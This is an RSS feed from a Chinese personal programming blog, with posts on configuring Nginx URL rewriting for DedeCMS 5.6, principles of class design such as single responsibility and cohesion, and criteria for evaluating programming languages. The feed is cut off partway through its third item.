﻿<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>奋斗足迹&#124;崔玉松 &#187; Programming</title>
	<atom:link href="http://fendou.org/tag/programming/feed/" rel="self" type="application/rss+xml" />
	<link>http://fendou.org</link>
	<description>为家人，为自己，为生活~~</description>
	<lastBuildDate>Fri, 24 Feb 2012 15:21:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>DedeCMS 5.6版本的Nginx环境伪静态化</title>
		<link>http://fendou.org/2010/10/23/dedecms-nginx-rewrite/</link>
		<comments>http://fendou.org/2010/10/23/dedecms-nginx-rewrite/#comments</comments>
		<pubDate>Sat, 23 Oct 2010 07:22:26 +0000</pubDate>
		<dc:creator>崔玉松</dc:creator>
				<category><![CDATA[Excellence Article]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[网站]]></category>

		<guid isPermaLink="false">http://fendou.org/?p=744</guid>
		<description><![CDATA[Linux环境下dedecms5.6实现伪静态的方法,5.5 5.3应该也适用。 1.首在在后台开启伪静态. 2.然后栏目和文章设置成动态浏览. 设置方法为：在后台系统设置sql里执行以下语句 将所有文档设置为“仅动态浏览”，update dede_archives set ismake=-1 将所有栏目设置为“使用动态页”，update dede_arctype set isdefault=-1 改成1就是静态。动态转换为静态后需要重新生成HTML。 3. nginx设置重写规则. 内容为: rewrite “^/list-([0-9]+)\.html$” /plus/list.php?tid=$1 last; rewrite “^/list-([0-9]+)-([0-9]+)-([0-9]+)\.html$” /plus/list.php?tid=$1&#038;totalresult=$2&#038;PageNo=$3 last; rewrite “^/view-([0-9]+)-1\.html$” /plus/view.php?arcID=$1 last; rewrite “^/view-([0-9]+)-([0-9]+)\.html$” /plus/view.php?aid=$1&#038;pageno=$2 last; break; 修改channelunit.func.php文件 原来大约113行： return $GLOBALS["cfg_plus_dir"].”/view-”.$aid.&#8217;-1.html&#8217;; 修改为： return $GLOBALS["cfg_cmsurl"].”/view-”.$aid.&#8217;-1.html&#8217;; 原来大约166行为： $reurl = $GLOBALS['cfg_phpurl'].”/list.php?tid=”.$typeid; 修改为： if($cfg_rewrite == &#8216;Y&#8217;) { $reurl = $GLOBALS['cfg_cmsurl'].”/list-{$typeid}.html”; } else...  <a href="http://fendou.org/2010/10/23/dedecms-nginx-rewrite/" class="more-link" title="Read DedeCMS 5.6版本的Nginx环境伪静态化">Read more &#187;</a><table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F10%2F29%2Fwordpress-nginx-rewrite%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F10%2F23%2Fdedecms-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">wordpress的nginx rewrite规则</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F10%2F18%2Furl_router%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F10%2F23%2Fdedecms-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP实现URL路由</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F03%2F07%2Fphp%25E4%25BB%258E%25E4%25B8%259A%25E8%2580%2585%25E7%2589%25B9%25E5%25BE%2581%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F10%2F23%2Fdedecms-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">php从业者特征</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F30%2Fwhy-php-hacks%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F10%2F23%2Fdedecms-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Why PHP Hacks?</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F07%2F10%2Fphp%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F10%2F23%2Fdedecms-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP记事本程序（三）----持续改进</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>Linux环境下dedecms5.6实现伪静态的方法,5.5 5.3应该也适用。<br />
1.首在在后台开启伪静态.</p>
<p>2.然后栏目和文章设置成动态浏览.</p>
<p>设置方法为：在后台系统设置sql里执行以下语句</p>
<p>将所有文档设置为“仅动态浏览”，update dede_archives set ismake=-1</p>
<p>将所有栏目设置为“使用动态页”，update dede_arctype set isdefault=-1</p>
<p>改成1就是静态。动态转换为静态后需要重新生成HTML。</p>
<p>3. nginx设置重写规则. 内容为:</p>
<blockquote><p>rewrite “^/list-([0-9]+)\.html$” /plus/list.php?tid=$1 last;<br />
rewrite “^/list-([0-9]+)-([0-9]+)-([0-9]+)\.html$” /plus/list.php?tid=$1&#038;totalresult=$2&#038;PageNo=$3 last;<br />
rewrite “^/view-([0-9]+)-1\.html$” /plus/view.php?arcID=$1 last;<br />
rewrite “^/view-([0-9]+)-([0-9]+)\.html$” /plus/view.php?aid=$1&#038;pageno=$2 last;<br />
break;</p></blockquote>
<p>修改channelunit.func.php文件<br />
原来大约113行：</p>
<blockquote><p>return $GLOBALS["cfg_plus_dir"].”/view-”.$aid.&#8217;-1.html&#8217;;</p></blockquote>
<p>修改为：</p>
<blockquote><p>return $GLOBALS["cfg_cmsurl"].”/view-”.$aid.&#8217;-1.html&#8217;;</p></blockquote>
<p>原来大约166行为：</p>
<blockquote><p>$reurl = $GLOBALS['cfg_phpurl'].”/list.php?tid=”.$typeid;</p></blockquote>
<p>修改为：</p>
<blockquote><p>if($cfg_rewrite == &#8216;Y&#8217;)<br />
		{<br />
			$reurl = $GLOBALS['cfg_cmsurl'].”/list-{$typeid}.html”;<br />
		}<br />
		else<br />
		{<br />
			$reurl = $GLOBALS['cfg_phpurl'].”/list.php?tid=”.$typeid;<br />
		}</p></blockquote>
<p>最胡在数据库中运行如下命令：</p>
<blockquote><p>update dede_archives set ismake=-1;<br />
update dede_arctype set isdefault=-1;</p></blockquote>
<p>备注：这样修改首页并没有实现伪静态，这样修改已经满足我的需求了，修改一下模板或者增加点全局的东西，不用全部重新生成一遍，几十万篇文章，全部生成一遍简直就是噩梦</p>
<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F10%2F29%2Fwordpress-nginx-rewrite%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F10%2F23%2Fdedecms-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">wordpress的nginx rewrite规则</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F10%2F18%2Furl_router%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F10%2F23%2Fdedecms-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP实现URL路由</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F03%2F07%2Fphp%25E4%25BB%258E%25E4%25B8%259A%25E8%2580%2585%25E7%2589%25B9%25E5%25BE%2581%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F10%2F23%2Fdedecms-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">php从业者特征</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F30%2Fwhy-php-hacks%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F10%2F23%2Fdedecms-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Why PHP Hacks?</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F07%2F10%2Fphp%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F10%2F23%2Fdedecms-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP记事本程序（三）----持续改进</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://fendou.org/2010/10/23/dedecms-nginx-rewrite/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>类设计</title>
		<link>http://fendou.org/2010/04/18/class-design/</link>
		<comments>http://fendou.org/2010/04/18/class-design/#comments</comments>
		<pubDate>Sun, 18 Apr 2010 13:30:49 +0000</pubDate>
		<dc:creator>崔玉松</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[PhpWind]]></category>
		<category><![CDATA[编程技术]]></category>

		<guid isPermaLink="false">http://fendou.org/?p=680</guid>
		<description><![CDATA[最近几乎天天加班，周末依然加班，好久没有更新博客了，非常累。不过此累非彼类。 在现有的很多面向过程开发的代码中，对我这个涉世不深的玩家来说，简直就是灾难，或许很多代码连面向过程都算不上，连函数都没有包装。一个函数可能会超过500行代码，语义不名，名称更不名。我曾经试图改造这些代码，并非技术上不可行，而是实现需要太多的时间，一个不可能完成的任务。 让一个缺乏面向对象的团队掌握面向对象很困难的，也许是我智商低，当年我花了两个月才能意会什么是对象，什么是面向对象编程，到现在也不会言传。 如果不能转向到面向对象，那么我们先转成类吧，或许技术上更能解决一点。类的最基本功能就是封装，如果我们撇去面向对象的东西，那么类就是把具有相似性的东西做一个集合，外部在使用这些功能的时候不需要知道具体实现，只要给类中的方法确需要的参数值，如果非要理解成一堆具有相似属性函数的集合，那也是可以的，毕竟这个比一个文件中的几千行代码，连个function都没有的代码好得多。 如果我们想得到更好的类，需要遵循一些基本的原则， 其中之一就是类应该短小，短小并不是说不完整，这和很多人学C的时候，老师告诉我们，函数要尽可能短小一样，到底多短小的类算是合适呢？我觉得根本无法用代码行数来描述，这取决于这个类所完成的功能，比如你要封装一个操作文章的类，那么至少需要，增删改查四个函数，也许还有基于这四个函数的别名和封装，以及必要的公共属性。 第二个重要原则就是单一权责（SRP），这个原则要做到非常 不容易，因为比第一条更难衡量，一般认为，衡量单一权责的标准是：类或者模块应该有且只有一条加以修改的理由。SRP实际上能给出控制类长度的指导方针。简单的理解就是一个类只有一个功能，假如你修改博客标题或者设置的时候，都要改动文章类，显然违背了单一权责的原则。 第三个原则&#8211;内聚。类应该只有少量实体变量。类中的每个方法都应该操作一个或者多个这种变量。通常而言，方法操作的变量越多，就越内聚到类上，如果一个类中的米一个变量都被每个方法所使用，则该类具有最大的内聚性。通常，创建一个这样极大化的内聚类是非常不容易的，也是不可取的，因为类的内聚性过高也就意味着类中的方法和变量相互依赖，互相结合成一个逻辑的整体，当修改类中的变量或者方法时，可能影响或者需要修改其他的方法或者属性。一般认为，类的内聚应该保持在较高的位置，但不是最高的位置，这样有利于降低维护成本。 前面提到在我目前的项目中，我碰到很多超过500行代码的函数，假如把数字降低到300，那么符合标准的函数将会增加十倍以上，在一个面向对象的团队中，一个单纯函数或者方法超过100行几乎都是不可接受的，因为这意味着这个函数可能包含过多的权责。其实我们如果真的遵循类的内聚和单一权责的原则，就会导致很多短小的类的产生。 一般程序员在拆解过大的函数的时候实际上就是将原来的代码复制出来，放到新建的函数中去，然后把需要的参数传递过去，实际上导致超大函数的产生的动机常常是因为有很多变量在这个函数的中被使用到，看似这个函数似乎是一个整体，因为拆分会导致新建的函数参数很多。为啥他们不想用一下类呢，假如拆解函数导致需要传递很多的参数，那么这个函数其实就是一个类，需要传递的函数需要提升为实体变量，这样就可以将函数拆成很小的小块，这样看起来似乎丧失了内聚性，因为堆积了越来越多的只为允许少量函数共享而存在的实体变量。如果这些函数想要公司向某些变量，为什么不让它拥有自己的类呢？当类丧失了内聚性，就应该拆了它。所以，将大的函数拆分为小函数，旺旺也是将类拆分为多个小类的时机，程序会更加有组织，更为透明的结构。 实际上很多时候，当你完成所有的功能的时候，产品经理会跑过来跟你说，我们不能把这个功能改成这样，这样用户体验更好，很可能你需要改动很多的代码很逻辑，甚至数据结构，所以如果我们能在设计的类的时候，注意一下可能的需求改动，我们可以借助接口或者抽象类来隔离修改细节对原来代码产生的破坏性更改。<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F08%2F18%2Fprogramming-pearls%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F04%2F18%2Fclass-design%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">代码调优法则--编程珠玑笔记</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F01%2F13%2Fdesireable-characteristics-design%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F04%2F18%2Fclass-design%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">软件构建中的理想设计特征</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F11%2F16%2F%25E4%25BC%259A%25E8%25AF%259D%25E7%258A%25B6%25E6%2580%2581%25E6%25A8%25A1%25E5%25BC%258F%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F04%2F18%2Fclass-design%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">会话状态模式</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F04%2F18%2Fclass-design%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">程序语言评估标准</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F11%2F01%2Foop%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F04%2F18%2Fclass-design%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">面向对象设计的启发规则</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>最近几乎天天加班，周末依然加班，好久没有更新博客了，非常累。不过此累非彼类。</p>
<p>在现有的很多面向过程开发的代码中，对我这个涉世不深的玩家来说，简直就是灾难，或许很多代码连面向过程都算不上，连函数都没有包装。一个函数可能会超过500行代码，语义不名，名称更不名。我曾经试图改造这些代码，并非技术上不可行，而是实现需要太多的时间，一个不可能完成的任务。</p>
<p>让一个缺乏面向对象的团队掌握面向对象很困难的，也许是我智商低，当年我花了两个月才能意会什么是对象，什么是面向对象编程，到现在也不会言传。</p>
<p>如果不能转向到面向对象，那么我们先转成类吧，或许技术上更能解决一点。类的最基本功能就是封装，如果我们撇去面向对象的东西，那么类就是把具有相似性的东西做一个集合，外部在使用这些功能的时候不需要知道具体实现，只要给类中的方法确需要的参数值，如果非要理解成一堆具有相似属性函数的集合，那也是可以的，毕竟这个比一个文件中的几千行代码，连个function都没有的代码好得多。</p>
<p>如果我们想得到更好的类，需要遵循一些基本的原则， 其中之一就是类应该短小，短小并不是说不完整，这和很多人学C的时候，老师告诉我们，函数要尽可能短小一样，到底多短小的类算是合适呢？我觉得根本无法用代码行数来描述，这取决于这个类所完成的功能，比如你要封装一个操作文章的类，那么至少需要，增删改查四个函数，也许还有基于这四个函数的别名和封装，以及必要的公共属性。</p>
<p>第二个重要原则就是单一权责（SRP），这个原则要做到非常 不容易，因为比第一条更难衡量，一般认为，衡量单一权责的标准是：类或者模块应该有且只有一条加以修改的理由。SRP实际上能给出控制类长度的指导方针。简单的理解就是一个类只有一个功能，假如你修改博客标题或者设置的时候，都要改动文章类，显然违背了单一权责的原则。</p>
<p>第三个原则&#8211;内聚。类应该只有少量实体变量。类中的每个方法都应该操作一个或者多个这种变量。通常而言，方法操作的变量越多，就越内聚到类上，如果一个类中的米一个变量都被每个方法所使用，则该类具有最大的内聚性。通常，创建一个这样极大化的内聚类是非常不容易的，也是不可取的，因为类的内聚性过高也就意味着类中的方法和变量相互依赖，互相结合成一个逻辑的整体，当修改类中的变量或者方法时，可能影响或者需要修改其他的方法或者属性。一般认为，类的内聚应该保持在较高的位置，但不是最高的位置，这样有利于降低维护成本。</p>
<p>前面提到在我目前的项目中，我碰到很多超过500行代码的函数，假如把数字降低到300，那么符合标准的函数将会增加十倍以上，在一个面向对象的团队中，一个单纯函数或者方法超过100行几乎都是不可接受的，因为这意味着这个函数可能包含过多的权责。其实我们如果真的遵循类的内聚和单一权责的原则，就会导致很多短小的类的产生。</p>
<p>一般程序员在拆解过大的函数的时候实际上就是将原来的代码复制出来，放到新建的函数中去，然后把需要的参数传递过去，实际上导致超大函数的产生的动机常常是因为有很多变量在这个函数的中被使用到，看似这个函数似乎是一个整体，因为拆分会导致新建的函数参数很多。为啥他们不想用一下类呢，假如拆解函数导致需要传递很多的参数，那么这个函数其实就是一个类，需要传递的函数需要提升为实体变量，这样就可以将函数拆成很小的小块，这样看起来似乎丧失了内聚性，因为堆积了越来越多的只为允许少量函数共享而存在的实体变量。如果这些函数想要公司向某些变量，为什么不让它拥有自己的类呢？当类丧失了内聚性，就应该拆了它。所以，将大的函数拆分为小函数，旺旺也是将类拆分为多个小类的时机，程序会更加有组织，更为透明的结构。</p>
<p>实际上很多时候，当你完成所有的功能的时候，产品经理会跑过来跟你说，我们不能把这个功能改成这样，这样用户体验更好，很可能你需要改动很多的代码很逻辑，甚至数据结构，所以如果我们能在设计的类的时候，注意一下可能的需求改动，我们可以借助接口或者抽象类来隔离修改细节对原来代码产生的破坏性更改。</p>
<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F08%2F18%2Fprogramming-pearls%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F04%2F18%2Fclass-design%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">代码调优法则--编程珠玑笔记</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F01%2F13%2Fdesireable-characteristics-design%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F04%2F18%2Fclass-design%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">软件构建中的理想设计特征</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F11%2F16%2F%25E4%25BC%259A%25E8%25AF%259D%25E7%258A%25B6%25E6%2580%2581%25E6%25A8%25A1%25E5%25BC%258F%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F04%2F18%2Fclass-design%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">会话状态模式</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F04%2F18%2Fclass-design%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">程序语言评估标准</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F11%2F01%2Foop%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F04%2F18%2Fclass-design%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">面向对象设计的启发规则</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://fendou.org/2010/04/18/class-design/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>程序语言评估标准</title>
		<link>http://fendou.org/2010/01/18/programming-language-baseline/</link>
		<comments>http://fendou.org/2010/01/18/programming-language-baseline/#comments</comments>
		<pubDate>Mon, 18 Jan 2010 08:08:51 +0000</pubDate>
		<dc:creator>崔玉松</dc:creator>
				<category><![CDATA[Study & Reading]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[常识]]></category>

		<guid isPermaLink="false">http://fendou.org/?p=645</guid>
		<description><![CDATA[1、可读性。判断一个语言的优劣的一个最重要的标准是用它写的程序要好读，好懂。 一种语言的整体简单性极大的影响着他的可读性。一种具有大量基本结构的语言较只有少量基本结构的语言要难学得多，当然，过少也会非常难学，汇编就是如此。 2、正交性。正交性是指使用该语言中一组相对少量的基本结构，经过相对少的组合步骤，可以构成该语言的控制结构与数据接哦股。而且，它的基本结构的任何组合都是合法和有意义的。 3、控制语句。在20世纪50年代和60年代，一批程序设计语言由于缺乏控制语句，导致很差的可读性。随后的语言都兴起了结构化程序设计的革命。尤其是人们普遍意识到滥用goto会降低程序设计的可读性。 4、数据类型和数据结构。在程序设计语言中给出定义数据类型和数据结构的合理机制，是语言可读性的又一个重要辅助。 5、可写性。可写性是程序设计语言的在应用领域产生程序的难以程度的一种度量。大多数影响可读性的语言特征可以影响可写性。 6、支持抽象。抽象指的是以合法的省略许多细节的方式，来定义并且使用复杂结构或复杂运算的能力。 7、表达性。语言的表达性可以指语言中几种不同特征。一种是具有一些功能很强的运算符。一种是程序语言具有相对方便，非繁琐的方式来说明运算。 8、可靠性。如果一个程序在任何条件下的运行都能 达到他的说明标准。我们称这饿程序是可靠的。 9.代价。第一是训练程序员使用这种语言的代价。第二是使用这种语言来编写程序的代价。第三是编译程序的代价。第四是程序运行的代价。<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F09%2F02%2Ftop-10-concepts-that-every-software-engineer-should-know%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Top 10 Concepts That Every Software Engineer Should Know</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
